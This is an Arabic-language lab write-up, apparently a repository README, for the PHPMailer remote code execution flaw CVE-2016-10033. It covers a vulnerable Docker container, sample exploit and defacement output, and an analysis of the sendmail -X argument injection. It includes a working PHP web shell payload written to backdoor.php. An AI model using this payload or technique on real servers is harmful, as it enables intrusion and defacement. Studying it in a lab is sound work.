
استغلال تنفيذ التعليمات البرمجية عن بُعد في PHPMailer < 5.2.18 وحاوية معرّضة للثغرات
PHPMailer هي الفئة الأكثر شعبية في العالم لإرسال البريد الإلكتروني، حيث يُقدَّر عدد مستخدميها بنحو 9 ملايين مستخدم حول العالم. وتستمر التنزيلات بوتيرة كبيرة يوميًا. تُستخدم في العديد من المشاريع مفتوحة المصدر: WordPress وDrupal و1CRM وSugarCRM وYii وJoomla! وغيرها الكثير
تتعرض PHPMailer قبل الإصدار 5.2.18 لثغرة أمنية قد تؤدي إلى تنفيذ كود عن بُعد (RCE). قد تسمح دالة mailSend في ناقل isMail في PHPMailer، عندما لا تكون الخاصية Sender معيّنة، للمهاجمين عن بُعد بتمرير وسائط إضافية إلى أمر mail وبالتالي تنفيذ كود تعسفي عبر " (شرطة مائلة عكسية وعلامة اقتباس مزدوجة) في عنوان From مخصص.
لإعداد بيئة قابلة للاستغلال لاختبارك، ستحتاج إلى تثبيت Docker، ثم قم فقط بتشغيل الأمر التالي:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
وسيقوم بتشغيل تطبيق ويب هش على جهازك المضيف على المنفذ 8080

لاستغلال هذا الهدف، ما عليك سوى تشغيل:
./exploit host:port
إذا كنت تستخدم هذه الصورة الهشّة، يمكنك ببساطة تشغيل:
./exploit localhost:8080
بعد الاستغلال، سيتم تخزين ملف باسم backdoor.php في المجلد الجذر لدليل الويب. وسيمنحك الاستغلال وصولًا إلى شل حيث يمكنك إرسال الأوامر إلى الباب الخلفي:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
وهكذا، تكون قد حصلت على الشل الخاص بك. هناك استغلال آخر يوضح حالة استخدام مختلفة.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
وإذا قمت بزيارة الصفحة مرة أخرى، فسترى ما يلي:

قبل هذا الالتزام في class.phpmailer.php، في سيناريو معين لا يوجد أي فلترة للأحرف الخاصة في عنوان البريد الإلكتروني للمرسِل. هذا الخلل يمكن أن يؤدي إلى تنفيذ كود عن بُعد عبر دالة mail هنا.
عند تحليل الكود، لا يوجد أي فلترة في دالة mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
يتم إلحاق $this->Sender مباشرةً بالمتغير $params، والذي تمت فلترته في دالة validateAddress()، ولكن نظرًا لأنه يستخدم مواصفة RFC 3696، فإنه يسمح ببعض الأحرف التي قد تكسر الأشياء.
في هذه الحالة، علامات الاقتباس:
بالإضافة إلى الاقتباس باستخدام الشرطة المائلة العكسية، يمكن استخدام علامات الاقتباس المزدوجة التقليدية لإحاطة السلاسل النصية. على سبيل المثال
"Abc@def"@example.com
"Fred Bloggs"@example.com
هما شكلان بديلان للمثالين الأولين أعلاه. نادرًا ما يُنصح بهذه الأشكال المقتبسة، وهي غير شائعة عمليًا، ولكن كما نوقش أعلاه، يجب أن تدعمها التطبيقات التي تعالج عناوين البريد الإلكتروني. على وجه الخصوص، غالبًا ما تظهر الأشكال المقتبسة في سياق العناوين المرتبطة بالانتقال من أنظمة وسياقات أخرى؛ وما تزال متطلبات الانتقال تلك قائمة، وبما أن النظام الذي يقبل عنوان بريد إلكتروني يقدمه المستخدم لا يمكنه "معرفة" ما إذا كان هذا العنوان مرتبطًا بنظام قديم، فيجب قبول أشكال العناوين هذه وتمريرها إلى بيئة البريد الإلكتروني.
يمكنك قراءة كامل RFC هنا إذا أردت. ولكن أيضًا، إذا كان إصدار PHP أقل من 5.2.0، ولم يكن PCRE مثبتًا، فسيتم تعيين المتغير $patternselect في validateAddress() إلى noregex. سيؤدي ذلك إلى تمكين الإدخال من تجاوز أي فحص regex. وسيمر فقط عبر تحقق صغير:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
بعد ذلك، ينتقل تدفق الكود إلى دالة mailPassthru()، التي لن تكون عرضة لهذا الخلل إذا كانت تعمل في safe_mode، كما يوضح الكود التالي
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
ولكن إذا لم تكن تعمل في safe_mode، فسيتم تمرير المعامل الخاص الخاص بنا إلى mail()، وإذا كنا محظوظين، فسيحصل على ملفنا الذي يحتوي على ما نريد كتابته في المكان الذي نختاره.
استغلال دالة mail() في PHP ليس أمرًا جديدًا، لكنه ما يزال قائمًا ولا يزال الناس يستخدمونه. لشرح كيفية عمله، دعنا ننظر إلى كيفية تعريف دالة mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
توجد عدة طرق استغلال لنتائج مختلفة، وسنركّز على استغلال المعامل الخامس للحصول على تنفيذ كود عن بُعد (RCE). يُستخدم المعامل $additional_parameters لتمرير علامات إضافية كخيارات لسطر الأوامر إلى البرنامج المعدّ لإرسال البريد الإلكتروني. يتم تعريف هذا التكوين بواسطة المتغير sendmail_path.
ملاحظة أمنية من التوثيق الرسمي لـ PHP:
يمكن استخدام المعامل additional_parameters لتمرير علامات إضافية كخيارات لسطر الأوامر إلى البرنامج المعدّ لاستخدامه عند إرسال البريد، وفقًا لما يحدده إعداد التهيئة sendmail_path. على سبيل المثال، يمكن استخدامه لتعيين عنوان المرسل المغلف عند استخدام sendmail مع الخيار -f.
يتم الهروب من هذا المعامل داخليًا بواسطة escapeshellcmd() لمنع تنفيذ الأوامر. يمنع escapeshellcmd() تنفيذ الأوامر، ولكنه يسمح بإضافة معاملات إضافية. لأسباب أمنية، يُنصح المستخدم بتنظيف هذا المعامل لتجنب إضافة معاملات غير مرغوب فيها إلى أمر الصدفة.
بالنظر إلى المعاملات الإضافية التي يمكن حقنها، سنستخدم -X لاستغلال هذا الخلل. المزيد حول المعامل -X
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
هناك أيضًا بعض المعاملات الأخرى المثيرة للاهتمام التي يجب أن تعرف بوجودها:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
و
-O option=value
Set option option to the specified value. This form uses long names.
وبالنسبة لخيار -O، فإن QueueDirectory هو الخيار الأكثر إثارة للاهتمام هناك؛ يحدد هذا الخيار الدليل الذي سيتم فيه وضع الرسائل في قائمة الانتظار.
إذا أردت قراءة القائمة الكاملة للمعاملات والخيارات، فما عليك سوى man sendmail أو قراءتها عبر الإنترنت هنا.
بناءً على هذه المعلومات، والقدرة على التحكم في معامل واحد على الأقل من المعاملات الأخرى، يمكننا استغلال المضيف. فيما يلي خطوات الاستغلال الناجح:
$additional_parameters ومعامل آخر في mail()webroot (المعروف أيضًا باسم /var/www/html في أنظمة أخرى، أو /www في هذا المثال)system()، مع لمسة من base64 وبعض الأحرف الخاصة | لتسهيل التحليل.تذكر أن الخيار -X سيكتب ملف السجل، الذي سيحتوي بين معلومات السجل على حمولة PHP الخاصة بك، في الدليل الذي ستحدده. مثال على كود PHP هش:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
إذا قمت بتنفيذ الكود أعلاه، فسيُنشئ ملف سجل في /www/backdoor.php، وهذا هو جوهر هذا الاستغلال.
فيما يلي الحمولة المستخدمة في هذا المثال
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
تريد طريقة سهلة، بأمر واحد، لمحاولة رصد هذا الخلل؟ تذكّر أمر grep السحري هذا!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
تشغيله على هذا المستودع سينتج عنه
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
تم اكتشاف هذه الثغرة بواسطة Dawid Golunski.
هذا البرنامج أو البرامج السابقة مخصصة لأغراض تعليمية فقط. لا تستخدمها دون إذن. ينطبق إخلاء المسؤولية المعتاد، خاصة حقيقة أنني (opsxcq) لست مسؤولًا عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف التي توفرها هذه البرامج. لا يتحمل المؤلف أو أي مزود إنترنت أي مسؤولية عن المحتوى أو إساءة استخدام هذه البرامج أو أي مشتقات منها. باستخدامك لهذه البرامج فإنك تقبل حقيقة أن أي ضرر (فقدان بيانات، تعطل النظام، اختراق النظام، إلخ) ناتج عن استخدام هذه البرامج ليس مسؤولية opsxcq.